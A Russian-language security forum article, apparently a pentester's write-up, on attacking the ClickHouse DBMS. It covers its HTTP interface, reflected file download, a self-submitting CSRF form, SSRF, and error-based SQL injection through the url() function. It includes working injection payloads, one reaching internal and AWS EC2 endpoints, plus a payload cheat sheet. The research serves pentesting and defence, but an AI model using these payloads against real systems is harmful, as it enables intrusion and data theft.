• Профессиональным авторам. Срочный заказ!

    Необходимо сделать развернутое описание каждой из наших услуг. Ограничений на объем текста нет. ЦА - руководство компаний (сухой технический текст). При отсутствии исполнителей среди участников форума, работа будет передана фрилансерам 10 февраля.

    Подробнее о заказе ...

Статья Research Yandex.ClickHouse. Инъекции в столбцовом СУБД

r0hack

r0hack

DAG
Gold Team
29.09.2017
505
972
Всем Салам. Снова хочу поделиться с вами случаем, с которым столкнулся во время пентеста и его дальнейшего исследования. В целях обработки большого количества данных в Яндекс.Метрике, Яндексом была создана колоночная СУБД ClickHouse. В рамках проектов по анализу защищённости мы встречали ClickHouse в системах статистики, сбора событий, в биржевых системах.

URL:

Введение

Главными преимуществами ClickHouse являются скорость, гибкость, масштабируемость, и основной областью применения являются системы аналитики.

Колоночные СУБД обеспечивают высокую производительность для задач, в которых необходимо часто запрашивать данные из одного столбца, и остальные данные из строки не нужны.

ClickHouse_3.gif


ClickHouse_1.gif


Благодаря используемой структуре хранимых данных, обращение идёт только к нужным столбцам, что существенно увеличивает скорость запросов. Также это позволяет эффективнее сжимать данные при хранении, потому что данные в одном столбце имеют общий тип.

2.png

Более детально про сравнение строковых и колоночных СУБД можно почитать .

Особенности синтаксиса

Сами разработчики Clickhouse выделяют несколько существенных ограничений, которые есть в СУБД:
  • Ограниченная поддержка JOIN
  • Нет UPDATE и DELETE
  • Слабая совместимость со стандартом SQL
Отсутствие привычных UPDATE и DELETE связано с особенностями архитектура хранения. Данные хранятся в колонках и чтобы просто удалить какую-то запись придется прочитать и мутировать n колонок.

Тем не менее, в 2018 году была добавлена поддержка ALTER UPDATE и ALTER DELETE. Чем они отличаются от стандартных UPDATE и DELETE:
  • Выполняются асинхронно
  • Не блокируют вставки
  • Не блокируют запросы
  • Не блокируют друг друга
В отличие от некоторых диалектов SQL, в ClickHouse строгая типизация. Не производится неявные преобразования между типами.

Вместо стандартного UNION для объединения запросов в ClickHouse используется UNION ALL:

3.png

Интересное для нас выражение INTO OUTFILE работает только в консольном клиенте. Через HTTP-интерфейс доступа к нему нет ( )


Интересные возможности

В ClickHouse есть 2 сетевых интерфейса:
  • HTTP
  • Native TCP
Оба протокола могут быть также обёрнуты в TLS, но на практике мало кто это делает.

HTTP-интерфейс в ClickHouse позволяет легко написать коннектор к базе на любом языке.

При использовании HTTP-метода GET разрешены лишь запросы, не изменяющие данные, а чтобы изменять или создавать записи нужно использовать метод POST. При этом сам запрос можно передавать как в теле POST-запроса, так и в query string (как GET-, так и POST-запроса).

Как найти ClickHouse в сети? Ниже пример запроса для поиска публично доступных инстансов через Shodan:

4.png

В самом языке ClickHouse есть поддержка табличной функции url, которая позволяет обращаться к удалённым узлам по протоколам HTTP и HTTPS.

5.png

Также доступна табличная функция file, которая позволяет читать файлы из определенной директории, и обойти ограничение не получится.

6.png

Так как в ClickHouse встроен клиент MySQL, мы, разумеется, сразу подумали о чтении произвольных файлов через LOAD DATA LOCAL INFILE. Но выяснилось, что такая уязвимость действительно существовала, и её уже исправил внутренний отдел по ИБ яндекса. Также были исправлены уязвимости, связанные с JDBC-подключениями и возможностью инъекции в протокол через имя пользователя.

СVE:

Патч (отключение возможности):

Полезную информацию можно получить из системных таблиц, они предоставляют доступ к информации состоянии системы, об имеющихся базах, таблицах и колонках (таблицы databases, tables, columns), о выполняющихся сейчас запросах (таблица processes) и т.д. Подробнее про системные таблицы:

Атаки на HTTP
Наличие у ClickHouse HTTP-интерфейса означает, что для этой СУБД могут быть актуальны некоторые атаки, специфичные для веб-приложений.

Reflected File Download

HTTP-интерфейс ClickHouse может позволять провести атаку Reflected File Download. Для этого необходимо выполнение одного из следующих условий:

  • Если не установлен пароль
  • Если пароль сохранен в браузере жертвы
  • Если пароль установлен и мы его знаем
Пример запроса:

7.png

Как видно, в ответ веб-сервер отдаёт не ошибку 404, а файл (attachment) с контролируемым атакующим именем. Таким образом, можно скачать на компьютер жертвы исполняемый файл с любым содержимым.

CSRF

Как и в случае с RFD, эксплуатация CSRF возможна при отсутствии авторизации (или известном пароле).

Пример HTML-формы для проведения атаки:


Код:
<form action="http://clickhouse:8123/" method="POST" enctype="text/plain" id="test">
  <input type="hidden" name="SELECT * FROM system.tables --" value="" />
</form>
<script>document.getElementById('test').submit();</script>

SSRF

Ещё одним следствием наличия HTTP-интерфейса является то, что при помощи атаки SSRF на другой интерфейс можно выполнить произвольные запросы в ClickHouse.

Для readonly-запросов достаточно будет метода GET. Если требуется авторизация, то логин и пароль можно передать в query string: ?username=…&password=…


Инъекции в ClickHouse

Error-based injection

Пример эксплуатации error-based инъекции через табличную функцию url в реальном приложении:

8.png

Результат выполнения подзапроса используется в качестве имени узла для HTTP-запроса при помощи функции url. Поскольку такого узла не существует, библиотека Poco (используется в ClickHouse) выбрасывает исключение, в тексте которого есть результат.

Код:
')+or+(select+c+from+url('http://'||arrayStringConcat((select+groupUniqArray(table)+from+system.columns),',+')||'','CSV','c+String'))=('
SSRF через SQL-инъекцию

Очевидно, функция url позволяет и провести атаку SSRF через SQL-инъекцию, ниже продемонстрировано получение доступа к AWS EC2 API:

9.png

На этот раз в функцию url мы подставляем результат выполнения функции url, таким образом, в тексте ошибки видим содержимое HTTP-ответа. Стоит отметить, что текст ошибки приводится к нижнему регистру (видно по подстроке «result» на скриншоте).

Код:
')+or+(select+c+from+url('http://RESULT-'||arrayStringConcat((select+groupArray(c)+from+url('http://127.0.0.1/','CSV','c+String')),unhex('0a'))||'','CSV','c+String'))=('

Cheat Sheet

GoalPayload
VersionSELECT version()
Current DBSELECT currentDatabase()
List DBSHOW databases OR SELECT * FROM system.databases
List columnsSELECT * FROM system.columns
List tablesSELECT * FROM system.tables
HostnameSELECT hostName()
ConcatSELECT concat(‘one’,’two’) OR SELECT ‘one’||’two’
CommentSELECT 1 /*comment*/ OR SELECT 1—comment
Dummy table (dual)SELECT * FROM system.one
Current UserSELECT ‘current_user’,user FROM system.processes WHERE query LIKE ‘%current_user%’
Current os_userSELECT os_user FROM system.processes
HTTP requestSELECT * FROM url(‘http://server’, ‘CSV’, col String)
Read fileSELECT * FROM file(‘nameFile’, ‘CSV’, col String)
UnhexSELECT unhex(‘746f62695f70697a6461’)
Create an array of argument valuesSELECT groupArray(x)
Concat array of stringsSELECT arrayStringConcat(arr[, separator])
Connect to MySQLmysql(‘host: port’, ‘database’, ‘table’, ‘user’, ‘password'[, replace_query, ‘on_duplicate_clause’]);
JDBC connectionSELECT * FROM jdbc(‘jdbc:mysql://localhost:3306/?user=root&password=root’, ‘schema’, ‘table’)
 
Последнее редактирование:
Мы в соцсетях: